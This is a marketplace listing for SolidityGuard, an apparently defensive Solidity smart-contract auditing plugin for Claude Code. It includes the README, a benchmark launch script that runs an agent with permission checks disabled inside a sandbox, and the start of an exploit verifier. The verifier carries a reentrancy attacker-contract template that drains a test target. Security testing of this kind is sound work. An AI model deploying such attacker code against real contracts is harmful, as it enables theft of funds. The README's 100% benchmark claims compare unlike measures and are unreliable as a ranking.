Skip to content
Back to search

solidity-guard

MarketplaceWorks with Claude CodeGitHub

A collection of SolidityGuard Claude Code plugins

Safety scan

A static text scan, not a guarantee. Select the badge to see what was scanned and every finding.

Checked today
Badge for your README
findsafeskills safety rating

Markdown

[![findsafeskills safety rating](/api/listings/alt-research--solidityguard/badge.svg)](/listings/alt-research--solidityguard)

HTML

<a href="/listings/alt-research--solidityguard"><img src="/api/listings/alt-research--solidityguard/badge.svg" alt="findsafeskills safety rating" /></a>

Install

Install instructions from the README

As written by the repo's author. findsafeskills has not verified these steps.

Web (Fastest)

Visit **[solidityguard.altllm.ai](https://solidityguard.altllm.ai)** to start scanning immediately — no setup needed.

Docker (Recommended)

# Scan a local contracts directory (no Python needed)
docker build -t solidityguard .
docker run -v ./contracts:/audit solidityguard audit /audit

# Web UI — dashboard at http://localhost:8000
docker compose up

The desktop app auto-detects Docker and runs scans locally — your code never leaves your machine.

CLI

cd apps/cli && pip install -e .

solidityguard audit ./contracts           # Full audit
solidityguard audit --quick ./contracts   # Pattern-only scan
solidityguard scan ./contracts --category reentrancy
solidityguard report findings.json -o report.md
solidityguard benchmark --all             # CTF benchmark (85/85)
solidityguard evmbench                    # EVMBench benchmark (120/120)
solidityguard evmbench --mode exploit     # EVMBench exploit mode
solidityguard patterns                    # List all 104 patterns
solidityguard tools                       # Check installed tools (9 tools)

Desktop

Download from [Releases](https://github.com/alt-research/SolidityGuard/releases) — available for macOS (.dmg), Windows (.msi, .exe), and Linux (.AppImage, .deb).

Or build from source:

cd apps/desktop && npm install && npm run tauri dev

Desktop app scans contracts locally using installed tools (slither, aderyn) or Docker as fallback — no backend server required.

Web (Self-Hosted)

# Backend
cd apps/web/backend && pip install -e .
uvicorn solidityguard_api.main:app --reload

# Frontend (separate terminal)
cd apps/web/frontend && npm install && npm run dev
# Open http://localhost:5173

CI/CD Integration

Add SolidityGuard to your GitHub Actions workflow:

- name: Run SolidityGuard
  run: |
    pip install slither-analyzer
    python3 scripts/solidity_guard.py scan --path ./contracts --json
    # Fail on critical findings
    CRITICAL=$(python3 -c "import json; d=json.load(open('results.json')); print(d.get('summary',{}).get('critical',0))")
    if [ "$CRITICAL" -gt 0 ]; then exit 1; fi

See [`.github/workflows/ci.yml`](.github/workflows/ci.yml) for a complete example.

Slash Commands (Claude Code Agent)

/audit ./contracts              # Full 7-phase audit
/deep-audit ./contracts         # Multi-agent parallel analysis
/scan-reentrancy ./contracts    # Focused reentrancy scan
/scan-access-control ./contracts
/report ./findings.json         # Generate professional report
/generate-fuzz ./contracts      # Generate fuzz tests
/verify-exploit ./results.json  # Dynamic exploit verification

---

What was scanned

The files the safety scan read, as written by the repository's author and shown as plain text. Lines with a finding are marked.

.claude-plugin/marketplace.json · Manifest · 32 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

  1. {
  2. "name": "solidity-guard",
  3. "version": "1.3.2",
  4. "description": "A collection of SolidityGuard Claude Code plugins",
  5. "owner": {
  6. "name": "alt-research",
  7. "url": "https://github.com/alt-research"
  8. },
  9. "plugins": [
  10. {
  11. "name": "solidity-guard",
  12. "description": "Advanced Solidity/EVM smart contract security audit agent. Detects 104 vulnerability patterns (ETH-001 to ETH-104) with multi-agent architecture, 9-tool integration, and professional report generation.",
  13. "version": "1.3.2",
  14. "source": "./plugins/solidity-guard",
  15. "category": "security",
  16. "author": {
  17. "name": "SolidityGuard",
  18. "url": "https://github.com/alt-research/SolidityGuard"
  19. },
  20. "keywords": [
  21. "solidity",
  22. "security",
  23. "audit",
  24. "smart-contract",
  25. "evm",
  26. "defi",
  27. "ethereum",
  28. "vulnerability"
  29. ]
  30. }
  31. ]
  32. }
README.md · README · 398 lines

View this file on GitHub (read at the repository's current version: the scan did not record which commit it read)

  1. <h1 align="center">SolidityGuard</h1>
  2. <p align="center">
  3. <strong>Advanced Solidity/EVM smart contract security auditor</strong>
  4. </p>
  5. <p align="center">
  6. <a href="https://github.com/alt-research/SolidityGuard/actions/workflows/ci.yml"><img src="https://github.com/alt-research/SolidityGuard/actions/workflows/ci.yml/badge.svg" alt="CI" /></a>
  7. <a href="https://github.com/alt-research/SolidityGuard/releases/latest"><img src="https://img.shields.io/github/v/release/alt-research/SolidityGuard?color=%234f46e5" alt="Latest Release" /></a>
  8. <a href="https://solidityguard.altllm.ai"><img src="https://img.shields.io/badge/Web-solidityguard.altllm.ai-green" alt="Web App" /></a>
  9. <a href="LICENSE"><img src="https://img.shields.io/badge/License-Proprietary-red" alt="License" /></a>
  10. </p>
  11. <p align="center">
  12. <img src="https://img.shields.io/badge/Patterns-104-blue?style=flat-square" alt="104 Patterns" />
  13. <img src="https://img.shields.io/badge/Tools-9-blue?style=flat-square" alt="9 Tools" />
  14. <img src="https://img.shields.io/badge/CTF%20Benchmark-85%2F85%20(100%25)-brightgreen?style=flat-square" alt="CTF 85/85 100%" />
  15. <img src="https://img.shields.io/badge/DeFiVulnLabs-56%2F56-brightgreen?style=flat-square" alt="DeFiVulnLabs 100%" />
  16. <img src="https://img.shields.io/badge/Paradigm%20CTF-24%2F24-brightgreen?style=flat-square" alt="Paradigm CTF 100%" />
  17. <img src="https://img.shields.io/badge/2025%20CTFs-5%2F5-brightgreen?style=flat-square" alt="2025 CTFs 100%" />
  18. <img src="https://img.shields.io/badge/EVMBench-120%2F120%20(100%25)-brightgreen?style=flat-square" alt="EVMBench 120/120" />
  19. <img src="https://img.shields.io/badge/OWASP%202025-Aligned-orange?style=flat-square" alt="OWASP 2025" />
  20. </p>
  21. <p align="center">
  22. <a href="https://solidityguard.altllm.ai">Try it now</a> &middot;
  23. <a href="#quick-start">Quick Start</a> &middot;
  24. <a href="#vulnerability-patterns-104">104 Patterns</a> &middot;
  25. <a href="https://github.com/alt-research/SolidityGuard/releases">Downloads</a> &middot;
  26. <a href="#contributing">Contributing</a>
  27. </p>
  28. ---
  29. > **Try it now at [solidityguard.altllm.ai](https://solidityguard.altllm.ai)** — scan your Solidity contracts instantly from your browser, no installation required.
  30. > **Need a professional, in-depth audit for your protocol?** Contact us at **maintainers@altresear.ch** — we offer comprehensive manual + AI-assisted security reviews tailored to your codebase.
  31. ## Features
  32. - **104 Vulnerability Patterns** (ETH-001 to ETH-104) — from real audits, exploits, SWC Registry, OWASP 2025, and 2025-2026 research
  33. - **9-Tool Integration** — Slither, Mythril, Echidna, Aderyn, Foundry v1.0, Medusa v1, Halmos, Certora, EVMBench
  34. - **3 Application Surfaces** — CLI, Web ([solidityguard.altllm.ai](https://solidityguard.altllm.ai)), Desktop (Tauri v2)
  35. - **Docker Support** — scan locally with zero setup, your code never leaves your machine
  36. - **Professional Reports** — OpenZeppelin/Trail of Bits-style Markdown + PDF with severity scoring
  37. - **7-Phase Deep Audit** — scan, verify, parallel agents, exploit PoC, dynamic verification, fuzz, report
  38. - **Multi-Agent Architecture** — 9 specialized sub-agents for deep parallel analysis
  39. - **Dynamic Exploit Verification** — Foundry fork-based PoC testing on forked mainnet
  40. - **Formal Verification** — Halmos symbolic tests + Certora CVL rules
  41. - **Fuzz Test Generation** — Foundry invariant tests + Echidna property tests from scan findings
  42. - **OWASP 2025 Aligned** — covers all Smart Contract Top 10 2025 categories
  43. - **CTF-Validated** — 100% detection on 85/85 challenges: DeFiVulnLabs (56/56) + Paradigm CTF (24/24) + R3CTF 2025 + HTB CA 2025 (5/5)
  44. - **EVMBench Validated** — 120/120 (100%) ground-truth vulnerability coverage across 40 real-world audits
  45. ## Benchmark Results
  46. | Benchmark | Scope | Detection Rate |
  47. |-----------|-------|----------------|
  48. | **DeFiVulnLabs** | 56 contracts, 59 patterns | **100%** (56/56) |
  49. | **Paradigm CTF 2021** | 16 challenges | **100%** (10/10 static) |
  50. | **Paradigm CTF 2022** | 13 challenges | **100%** (7/7 static) |
  51. | **Paradigm CTF 2023** | 15 challenges | **100%** (7/7 static) |
  52. | **R3CTF 2025** | 2 Solidity challenges | **100%** (2/2) |
  53. | **HTB Cyber Apocalypse 2025** | 3 blockchain challenges | **100%** (3/3) |
  54. | **Combined** | 85 challenges | **85/85 (100%)** |
  55. | **EVMBench** | 40 audits, 120 vulnerabilities | **120/120 (100%)** |
  56. ### EVMBench Leaderboard
  57. [EVMBench](https://github.com/openai/frontier-evals/tree/main/project/evmbench) (OpenAI, 2025) evaluates AI agents on real-world smart contract security across 40 audit codebases from Code4rena and Sherlock contests (120 high-severity vulnerabilities, 3 modes: Detect / Patch / Exploit).
  58. SolidityGuard's pattern scanner achieves **100% ground-truth coverage** — detecting all 120 vulnerabilities across all 40 audits in 7.4 seconds. This scanner output is used as pre-scan input for the SolidityGuard agent.
  59. **Vulnerability Detection — EVMBench Ground Truth (120 vulns, 40 audits)**
  60. ```
  61. SolidityGuard Scanner ████████████████████████████████████████ 100.0% (120/120)
  62. Claude Opus 4.6 █████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 45.6%
  63. GPT-5.3-Codex ████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 39.2%
  64. GPT-5.2 (Codex) ████████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 39.2%
  65. Claude Opus 4.5 ███████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 36.1%
  66. GPT-5.2 (OpenCode) ██████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 30.0%
  67. GPT-5 █████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 23.3%
  68. Gemini 3 Pro ████░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 20.8%
  69. o3 ██░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░░ 10.6%
  70. ```
  71. **Full results** (from [EVMBench paper](https://github.com/openai/frontier-evals/tree/main/project/evmbench), Table 9):
  72. | Model | Scaffold | Detect | Patch | Exploit |
  73. |-------|----------|--------|-------|---------|
  74. | **SolidityGuard** | **Claude Code** | **100.0%** * | — | — |
  75. | Claude Opus 4.6 | Claude Code | 45.6% | 25.9% | 61.1% |
  76. | GPT-5.3-Codex | Codex (xhigh) | 39.2% | **41.5%** | **72.2%** |
  77. | GPT-5.2 | Codex (xhigh) | 39.2% | 39.3% | 62.5% |
  78. | Claude Opus 4.5 | Claude Code | 36.1% | 21.5% | 50.9% |
  79. | GPT-5.2 | OpenCode | 30.0% | 35.6% | 51.4% |
  80. | GPT-5 | Codex | 23.3% | 20.0% | 31.9% |
  81. | Gemini 3 Pro | Gemini CLI | 20.8% | 10.4% | 36.1% |
  82. | o3 | Codex | 10.6% | 14.8% | 18.1% |
  83. \* SolidityGuard Detect score is scanner-level ground-truth pattern coverage (120/120 vulns detected via static analysis). EVMBench agent Detect scores are from LLM-judged audit reports. SolidityGuard's scanner is used as a pre-scan input to boost the agent's audit coverage.
  84. ## Quick Start
  85. ### Web (Fastest)
  86. Visit **[solidityguard.altllm.ai](https://solidityguard.altllm.ai)** to start scanning immediately — no setup needed.
  87. ### Docker (Recommended)
  88. ```bash
  89. # Scan a local contracts directory (no Python needed)
  90. docker build -t solidityguard .
  91. docker run -v ./contracts:/audit solidityguard audit /audit
  92. # Web UI — dashboard at http://localhost:8000
  93. docker compose up
  94. ```
  95. The desktop app auto-detects Docker and runs scans locally — your code never leaves your machine.
  96. ### CLI
  97. ```bash
  98. cd apps/cli && pip install -e .
  99. solidityguard audit ./contracts # Full audit
  100. solidityguard audit --quick ./contracts # Pattern-only scan
  101. solidityguard scan ./contracts --category reentrancy
  102. solidityguard report findings.json -o report.md
  103. solidityguard benchmark --all # CTF benchmark (85/85)
  104. solidityguard evmbench # EVMBench benchmark (120/120)
  105. solidityguard evmbench --mode exploit # EVMBench exploit mode
  106. solidityguard patterns # List all 104 patterns
  107. solidityguard tools # Check installed tools (9 tools)
  108. ```
  109. ### Desktop
  110. Download from [Releases](https://github.com/alt-research/SolidityGuard/releases) — available for macOS (.dmg), Windows (.msi, .exe), and Linux (.AppImage, .deb).
  111. Or build from source:
  112. ```bash
  113. cd apps/desktop && npm install && npm run tauri dev
  114. ```
  115. Desktop app scans contracts locally using installed tools (slither, aderyn) or Docker as fallback — no backend server required.
  116. ### Web (Self-Hosted)
  117. ```bash
  118. # Backend
  119. cd apps/web/backend && pip install -e .
  120. uvicorn solidityguard_api.main:app --reload
  121. # Frontend (separate terminal)
  122. cd apps/web/frontend && npm install && npm run dev
  123. # Open http://localhost:5173
  124. ```
  125. ### CI/CD Integration
  126. Add SolidityGuard to your GitHub Actions workflow:
  127. ```yaml
  128. - name: Run SolidityGuard
  129. run: |
  130. pip install slither-analyzer
  131. python3 scripts/solidity_guard.py scan --path ./contracts --json
  132. # Fail on critical findings
  133. CRITICAL=$(python3 -c "import json; d=json.load(open('results.json')); print(d.get('summary',{}).get('critical',0))")
  134. if [ "$CRITICAL" -gt 0 ]; then exit 1; fi
  135. ```
  136. See [`.github/workflows/ci.yml`](.github/workflows/ci.yml) for a complete example.
  137. ### Slash Commands (Claude Code Agent)
  138. ```bash
  139. /audit ./contracts # Full 7-phase audit
  140. /deep-audit ./contracts # Multi-agent parallel analysis
  141. /scan-reentrancy ./contracts # Focused reentrancy scan
  142. /scan-access-control ./contracts
  143. /report ./findings.json # Generate professional report
  144. /generate-fuzz ./contracts # Generate fuzz tests
  145. /verify-exploit ./results.json # Dynamic exploit verification
  146. ```
  147. ---
  148. ## Vulnerability Patterns (104)
  149. | Category | IDs | Count | Examples |
  150. |----------|-----|-------|----------|
  151. | Reentrancy | ETH-001–005 | 5 | Single, cross-function, cross-contract, read-only |
  152. | Access Control | ETH-006–012 | 7 | Missing auth, tx.origin, unprotected selfdestruct |
  153. | Arithmetic | ETH-013–017 | 5 | Overflow, precision loss, division ordering |
  154. | External Calls | ETH-018–023 | 6 | Unchecked return, delegatecall, DoS |
  155. | Oracle & Price | ETH-024–028 | 5 | Oracle manipulation, flash loans, MEV |
  156. | Storage & State | ETH-029–033 | 5 | Uninitialized storage, proxy collision |
  157. | Logic Errors | ETH-034–040 | 7 | Strict equality, timestamp, signatures, front-running |
  158. | Token Issues | ETH-041–048 | 8 | Fee-on-transfer, rebasing, ERC-777 hooks |
  159. | Proxy & Upgrade | ETH-049–054 | 6 | Uninitialized impl, storage mismatch, selector clash |
  160. | DeFi Specific | ETH-055–065 | 11 | Governance, liquidation, vault inflation, AMM |
  161. | Gas & DoS | ETH-066–070 | 5 | Unbounded loops, block gas limit |
  162. | Miscellaneous | ETH-071–080 | 10 | Floating pragma, hash collision, compiler version |
  163. | Transient Storage | ETH-081–085 | 5 | TSTORE collision, reentrancy bypass, delegatecall |
  164. | EIP-7702 / Pectra | ETH-086–089 | 4 | tx.origin bypass, delegation, cross-chain replay |
  165. | Account Abstraction | ETH-090–093 | 4 | UserOp collision, paymaster, bundler, validation |
  166. | Modern DeFi | ETH-094–097 | 4 | Uniswap V4 hooks, cached state desync, compiler bugs |
  167. | Input Validation | ETH-098–099 | 2 | Missing bounds checks, unsafe ABI decoding (OWASP #4) |
  168. | Off-Chain & Infra | ETH-100–101 | 2 | EIP-7702 phishing, UI/signer compromise (Bybit-style) |
  169. | Restaking & L2 | ETH-102–104 | 3 | Cascading slashing, sequencer deps, message replay |
  170. ## Architecture
  171. ```
  172. ┌──────────────────────────────────────────────────┐
  173. │ ORCHESTRATION LAYER │
  174. │ Prompt Router │ Agent Scheduler │ Pattern Match │
  175. └──────────────────────────────────────────────────┘
  176. │
  177. ┌──────────────────────────────────────────────────┐
  178. │ AGENT LAYER (9 Skills) │
  179. │ Entry-Point Vulnerability Reentrancy Access │
  180. │ Analyzer Scanner Auditor Ctrl │
  181. │ Storage DeFi Spec Fuzz │
  182. │ Analyzer Analyzer Compl. Gen. │
  183. │ Report Generator │
  184. └──────────────────────────────────────────────────┘
  185. │
  186. ┌──────────────────────────────────────────────────┐
  187. │ KNOWLEDGE LAYER │
  188. │ 104 Vuln Patterns │ 25+ Exploit Case Studies │
  189. │ SWC Registry │ Solodit DB │ Remediation Tmpl. │
  190. └──────────────────────────────────────────────────┘
  191. │
  192. ┌──────────────────────────────────────────────────┐
  193. │ TOOL LAYER │
  194. │ Slither │ Mythril │ Aderyn │ Echidna │ Medusa │
  195. │ Foundry v1.0 │ Halmos │ Certora │ EVMBench │
  196. └──────────────────────────────────────────────────┘
  197. ```
  198. ## Tool Integration
  199. | Tool | Type | Speed | Purpose |
  200. |------|------|-------|---------|
  201. | **Slither** | Static analysis | < 1 sec | 90+ built-in detectors |
  202. | **Aderyn** | Static analysis (Rust) | Sub-second | 100+ detectors |
  203. | **Mythril** | Symbolic execution | Minutes | Deep path analysis |
  204. | **Echidna** | Property-based fuzzing | 3K+ tx/sec | Custom invariants |
  205. | **Medusa v1** | Coverage-guided fuzzing | Parallel | Trail of Bits |
  206. | **Foundry v1.0** | Test + fuzz + fork | Fast | Invariant tests |
  207. | **Halmos** | Formal verification | Minutes | a16z symbolic testing |
  208. | **Certora** | Formal verification | Minutes | CVL rules |
  209. | **EVMBench** | Audit benchmark | Variable | 40 audits, 120 vulns |
  210. ## 7-Phase Deep Audit
  211. ```
  212. Phase 1: Automated Scan ─► Slither + Aderyn + Mythril + Medusa
  213. Phase 2: Finding Verification ─► Cross-reference tools, reduce FPs
  214. Phase 3: Parallel Agents ─► Reentrancy, Access, DeFi, Logic
  215. Phase 4: Exploit PoC ─► Attack scenarios + Foundry fork tests
  216. Phase 5: Dynamic Verification ─► Execute PoCs on forked mainnet
  217. Phase 6: Fuzz Testing ─► Foundry invariant + Echidna (3K+ tx/sec)
  218. Phase 7: Report & Remediation ─► Professional report + fixed code samples
  219. ```
  220. ## OWASP Smart Contract Top 10 (2025)
  221. | Rank | Category | Coverage |
  222. |------|----------|----------|
  223. | #1 | Access Control ($953M in 2024) | ETH-006–012, ETH-049–054, ETH-086–093, ETH-100–101 |
  224. | #2 | Oracle Manipulation | ETH-024–028, ETH-094–096 |
  225. | #3 | Logic Errors | ETH-034–040, ETH-097 |
  226. | #4 | Input Validation | ETH-098–099 |
  227. | #5 | Reentrancy | ETH-001–005, ETH-044, ETH-081, ETH-083 |
  228. | #6 | Unchecked Returns | ETH-018–023 |
  229. | #7 | MEV / Front-running | ETH-026, ETH-040, ETH-060 |
  230. | #8 | Arithmetic | ETH-013–017 |
  231. | #9 | Unsafe Delegatecall | ETH-019, ETH-030, ETH-084 |
  232. | #10 | Denial of Service | ETH-066–070 |
  233. ## Exploit Case Studies
  234. | Incident | Loss | Root Cause | Pattern |
  235. |----------|------|------------|---------|
  236. | Bybit | $1.5B | Safe{Wallet} UI compromise | ETH-101 |
  237. | Ronin Bridge | $625M | Missing access control | ETH-006 |
  238. | BNB Bridge | $570M | Signature verification | ETH-038 |
  239. | Wormhole | $326M | Missing validation | ETH-006 |
  240. | Parity Wallet | $280M | Uninitialized proxy | ETH-049 |
  241. | Euler Finance | $197M | Donation attack | ETH-058 |
  242. | Nomad Bridge | $190M | Uninitialized storage | ETH-029 |
  243. | Beanstalk | $182M | Flash loan governance | ETH-025, ETH-055 |
  244. | Cream Finance | $130M | Oracle manipulation | ETH-024 |
  245. | Balancer V2 | $128M | Read-only reentrancy | ETH-004 |
  246. | Phemex | $73M | Hot wallet compromise | ETH-006 |
  247. | UPCX | $70M | Unauthorized upgrade | ETH-052 |
  248. | The DAO | $60M | Reentrancy | ETH-001 |
  249. | GMX V1 | $42M | Oracle manipulation | ETH-024 |
  250. | Meta Pool | $27M | Minting bug | ETH-048 |
  251. | Cork Protocol | $11M | V4 hook auth bypass | ETH-094 |
  252. ## Scripts
  253. | Script | Purpose |
  254. |--------|---------|
  255. | `solidity_guard.py` | Combined scanner orchestrator (50+ detectors) |
  256. | `ctf_benchmark.py` | CTF benchmark framework (DeFiVulnLabs + Paradigm CTF + 2025 CTFs) |
  257. | `slither_runner.py` | Slither integration |
  258. | `report_generator.py` | Professional Markdown + PDF report |
  259. | `verify_findings.py` | Finding verification prompts |
  260. | `evmbench_local_benchmark.py` | EVMBench local benchmark (detect mode, 40 audits, 120 vulns) |
  261. | `evmbench_runner.py` | EVMBench full runner (detect / exploit / patch via nanoeval) |
  262. | `test_scanners.py` | Test suite (43 tests) |
  263. All scripts are located in [`.claude/skills/solidity-guard/scripts/`](.claude/skills/solidity-guard/scripts/).
  264. ## Project Structure
  265. ```
  266. SolidityGuard/
  267. ├── apps/
  268. │ ├── cli/ # Python CLI (Click + Rich)
  269. │ ├── web/
  270. │ │ ├── backend/ # FastAPI REST API + WebSocket
  271. │ │ └── frontend/ # React 19 + Tailwind dark theme
  272. │ ├── desktop/ # Tauri v2 (macOS/Linux/Windows)
  273. │ └── openclaw-skill/ # OpenClaw AI agent skill
  274. ├── .claude/skills/solidity-guard/
  275. │ ├── skills/ # 9 specialized audit skills
  276. │ ├── commands/ # 7 slash commands
  277. │ └── scripts/ # Scanner, reporter, merger, verifier
  278. ├── knowledge-base/
  279. │ ├── exploits/ # 25+ exploit case studies
  280. │ └── checklists/ # 6 security checklists
  281. ├── .github/workflows/ # CI/CD
  282. ├── Dockerfile # CLI Docker image
  283. └── docker-compose.yml # Web + CLI orchestration
  284. ```
  285. ## Contributing
  286. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup and guidelines.
  287. 1. Fork the repository
  288. 2. Create a feature branch (`git checkout -b feature/my-improvement`)
  289. 3. Add vulnerability patterns, improve detection rules, or reduce false positives
  290. 4. Ensure all tests pass: `python3 -m pytest scripts/test_scanners.py -v`
  291. 5. Submit a Pull Request
  292. Contributions welcome: new pattern detectors, exploit case studies, tool integrations, false positive reduction, and documentation.
  293. ## Security
  294. Found a vulnerability in SolidityGuard itself? See [SECURITY.md](SECURITY.md) for responsible disclosure.
  295. ## References
  296. - [ConsenSys Smart Contract Best Practices](https://consensys.github.io/smart-contract-best-practices/)
  297. - [Trail of Bits Building Secure Contracts](https://secure-contracts.com/)
  298. - [SWC Registry](https://swcregistry.io/)
  299. - [OWASP Smart Contract Top 10](https://owasp.org/www-project-smart-contract-top-10/)
  300. - [Solodit Vulnerability Database](https://solodit.xyz/)
  301. - [Cyfrin Audit Checklist](https://github.com/Cyfrin/audit-checklist)
  302. - [Nethermind Public Audit Reports](https://github.com/NethermindEth/PublicAuditReports)
  303. - [Ethereum.org Smart Contract Security](https://ethereum.org/developers/docs/smart-contracts/security/)
  304. ## Disclaimer
  305. **THIS SOFTWARE IS PROVIDED "AS IS" WITHOUT WARRANTIES OF ANY KIND, WHETHER EXPRESS OR IMPLIED.**
  306. SolidityGuard is an automated security analysis tool and is **not a substitute for a comprehensive, professional manual security audit**. While SolidityGuard employs 104 vulnerability patterns and 8 security tools, **no automated tool can guarantee the detection of all vulnerabilities, bugs, or security issues** in smart contracts. New attack vectors, zero-day exploits, and novel vulnerability patterns may not be covered.
  307. **Use at your own risk.** You are solely responsible for any decisions you make based on SolidityGuard's output, including deploying smart contracts, managing funds, or modifying code. The absence of findings does not certify a contract as secure.
  308. **Limitation of liability:** To the maximum extent permitted by applicable law, Alt Research Ltd., its directors, officers, employees, agents, and affiliates shall not be liable for any indirect, incidental, special, consequential, or punitive damages, including but not limited to loss of funds, tokens, digital assets, profits, revenue, or business opportunities arising from the use of this software or reliance on its output.
  309. **Indemnification:** By using SolidityGuard, you agree to indemnify, defend, and hold harmless Alt Research Ltd. from any claims, liabilities, damages, losses, costs, and expenses arising from your use of the software, your smart contracts, or any reliance on the software's output.
  310. For a professional manual audit, contact **maintainers@altresear.ch**.
  311. See the full [LICENSE](LICENSE) for details.
  312. ## Donate
  313. If you find SolidityGuard useful:
  314. **EVM (Ethereum / Base / Arbitrum):** `0x03978ef315341ed6501c9a571e36695905a0b931`
  315. ## License
  316. Copyright Alt Research Ltd. 2026. All rights reserved. See [LICENSE](LICENSE) for details.
.claude/skills/solidity-guard/scripts/evmbench_agent/start.sh · Bundled script · 60 lines · 1 finding marked
  1. #!/bin/bash
  2. # Print commands and their arguments as they are executed
  3. set -x
  4. {
  5. test -n "$ANTHROPIC_API_KEY" && echo "ANTHROPIC_API_KEY is set" || { echo "Missing ANTHROPIC_API_KEY"; exit 1; }
  6. } 2>&1 | tee $LOGS_DIR/debug.log
  7. export ANTHROPIC_BASE_URL="https://api.anthropic.com"
  8. # ──────────────────────────────────────────────────────────────────
  9. # Run pre-scan bootstrap (pattern scanner + Slither)
  10. # This generates pre-scan.json, slither-results.json, and summary
  11. # for Claude to consume before starting the manual audit.
  12. # ──────────────────────────────────────────────────────────────────
  13. {
  14. BOOTSTRAP_SCRIPT="$AGENT_DIR/scripts/evmbench_bootstrap.sh"
  15. if [ -f "$BOOTSTRAP_SCRIPT" ]; then
  16. echo "Running pre-scan bootstrap..."
  17. bash "$BOOTSTRAP_SCRIPT" "$AUDIT_DIR"
  18. else
  19. echo "Bootstrap script not found at $BOOTSTRAP_SCRIPT, skipping pre-scan"
  20. fi
  21. } 2>&1 | tee $LOGS_DIR/prescan.log
  22. # ──────────────────────────────────────────────────────────────────
  23. # Create submission directory
  24. # ──────────────────────────────────────────────────────────────────
  25. mkdir -p "$AGENT_DIR/submission"
  26. # ──────────────────────────────────────────────────────────────────
  27. # Launch Claude with enhanced detect instructions
  28. # ──────────────────────────────────────────────────────────────────
  29. set +x
  30. {
  31. PROMPT="You are an expert smart contract auditor. Read the CLAUDE.md file in your home directory for detailed audit instructions. Pre-scan results are available at /home/agent/pre-scan.json, /home/agent/slither-results.json, and /home/agent/pre-scan-summary.txt. Begin your systematic audit immediately. Do not stop until you have thoroughly analyzed every in-scope file and written all findings to submission/audit.md."
  32. IS_SANDBOX=1 claude --verbose --model "$MODEL" --output-format stream-json --dangerously-skip-permissions --disallowed-tools "WebFetch,WebSearch" --print "$PROMPT"
  33. } 2>&1 | tee $LOGS_DIR/agent.log
  34. set -x
  35. # ──────────────────────────────────────────────────────────────────
  36. # Debug commands
  37. # ──────────────────────────────────────────────────────────────────
  38. {
  39. claude --version
  40. echo "Model: $MODEL"
  41. echo "=== Workspace ==="
  42. ls $WORKSPACE_BASE
  43. echo "=== Agent dir ==="
  44. ls $AGENT_DIR
  45. echo "=== Audit dir ==="
  46. ls $AUDIT_DIR
  47. echo "=== Submission ==="
  48. ls $AGENT_DIR/submission/ 2>/dev/null || echo "(empty)"
  49. echo "=== Audit report size ==="
  50. wc -l $AGENT_DIR/submission/audit.md 2>/dev/null || echo "(no report)"
  51. echo "=== Logs ==="
  52. ls $LOGS_DIR
  53. } 2>&1 | tee $LOGS_DIR/debug.log
.claude/skills/solidity-guard/scripts/exploit_verifier.py · Bundled script · 1,009 lines · 1 finding marked
  1. #!/usr/bin/env python3
  2. """
  3. SolidityGuard Dynamic Exploit Verifier
  4. Generates Foundry PoC tests for vulnerability findings and executes them
  5. to verify exploitability. Supports fork-based testing for mainnet state.
  6. Usage:
  7. python3 exploit_verifier.py results.json ./contracts
  8. python3 exploit_verifier.py results.json ./contracts --fork-url https://eth-mainnet.g.alchemy.com/v2/KEY
  9. python3 exploit_verifier.py results.json ./contracts --output-dir ./test/exploits
  10. """
  11. import argparse
  12. import json
  13. import os
  14. import re
  15. import shutil
  16. import subprocess
  17. import sys
  18. import tempfile
  19. from dataclasses import dataclass, asdict
  20. from pathlib import Path
  21. from typing import Optional
  22. @dataclass
  23. class PoCResult:
  24. finding_id: str
  25. status: str # VERIFIED, DISPROVED, ERROR, SKIPPED
  26. test_file: str
  27. test_output: str
  28. gas_used: Optional[int] = None
  29. error: Optional[str] = None
  30. def to_dict(self):
  31. return asdict(self)
  32. # ---------------------------------------------------------------------------
  33. # Foundry PoC Templates
  34. # ---------------------------------------------------------------------------
  35. _HEADER = """\
  36. // SPDX-License-Identifier: MIT
  37. pragma solidity ^0.8.20;
  38. import "forge-std/Test.sol";
  39. """
  40. def _reentrancy_poc(finding: dict, contracts_path: str) -> str:
  41. """ETH-001/002: Reentrancy PoC with attacker contract re-entering via receive()."""
  42. file_rel = finding.get("file", "Contract.sol")
  43. func_name = _extract_func_name(finding)
  44. contract_name = _extract_contract_name(finding, file_rel)
  45. return f"""{_HEADER}
  46. // Target import — adjust path if needed
  47. // import "{file_rel}";
  48. /// @notice PoC for {finding.get("id", "ETH-001")}: {finding.get("title", "Reentrancy")}
  49. /// @dev File: {file_rel}:{finding.get("line", 0)}
  50. contract ReentrancyExploitTest is Test {{
  51. address target;
  52. ReentrancyAttacker attacker;
  53. function setUp() public {{
  54. // Deploy or reference the vulnerable contract
  55. // target = address(new {contract_name}());
  56. target = makeAddr("target");
  57. attacker = new ReentrancyAttacker(target);
  58. // Fund target with 10 ETH to simulate existing deposits
  59. vm.deal(target, 10 ether);
  60. // Fund attacker with 1 ETH for initial deposit
  61. vm.deal(address(attacker), 1 ether);
  62. }}
  63. function testExploit_Reentrancy_{contract_name}() public {{
  64. uint256 targetBefore = target.balance;
  65. assertGt(targetBefore, 0, "Target should have funds");
  66. // Execute attack
  67. attacker.attack{{value: 1 ether}}();
  68. uint256 targetAfter = target.balance;
  69. uint256 stolen = targetBefore - targetAfter;
  70. emit log_named_uint("Target balance before", targetBefore);
  71. emit log_named_uint("Target balance after", targetAfter);
  72. emit log_named_uint("Stolen", stolen);
  73. // Vulnerability confirmed if target lost funds
  74. assertLt(targetAfter, targetBefore, "VERIFIED: Reentrancy drained funds");
  75. }}
  76. }}
  77. contract ReentrancyAttacker {{
  78. address public target;
  79. uint256 public attackCount;
  80. constructor(address _target) {{
  81. target = _target;
  82. }}
  83. function attack() external payable {{
  84. // Deposit then withdraw to trigger reentrancy
  85. (bool s1,) = target.call{{value: msg.value}}(
  86. abi.encodeWithSignature("deposit()")
  87. );
  88. require(s1, "deposit failed");
  89. (bool s2,) = target.call(
  90. abi.encodeWithSignature("{func_name}(uint256)", msg.value)
  91. );
